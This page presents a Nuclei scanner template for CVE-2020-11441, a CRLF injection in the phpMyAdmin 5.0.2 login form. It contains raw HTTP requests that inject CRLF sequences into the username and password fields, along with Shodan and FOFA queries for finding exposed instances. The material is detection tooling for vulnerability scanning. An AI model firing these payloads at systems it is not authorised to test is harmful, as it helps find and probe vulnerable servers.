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phpMyAdmin 5.0.2 - CRLF Injection

ID: CVE-2020-11441

Severity: medium

Author: ritikchaddha

Tags: cve,crlf,phpmyadmin,cve2020

Description

Section titled “Description”

phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states “I don’t see anything specifically exploitable.

YAML Source

Section titled “YAML Source”
id: CVE-2020-11441


info:
  name: phpMyAdmin 5.0.2 - CRLF Injection
  author: ritikchaddha
  severity: medium
  description: |
    phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.
  reference:
    - https://github.com/phpmyadmin/phpmyadmin/issues/16056
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11441
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-11441
    cwe-id: CWE-93
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:5.0.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query: title:"phpmyadmin"
    fofa-query: title="phpmyadmin"
  tags: cve,crlf,phpmyadmin,cve2020


http:
  - raw:
      - |
        GET /index.php?route=/ HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /index.php?route=/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}}


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^test:crlfinjection=1$"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        part: body
        name: session
        group: 1
        regex:
          - 'name="set_session" value="([a-z0-9]+)"'
        internal: true


      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - 'name="token" value="([a-z0-9]+)"'
        internal: true
# digest: 4a0a004730450221008a22378adc06fb83b702bec4b9e97a91201d014042bc61f6367e79c30fc4e7ae0220674ec40ffb91681a23c68fb3054859303e483e9e63a77ceb7dc73f52fc56624a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-11441.yaml"

View on Github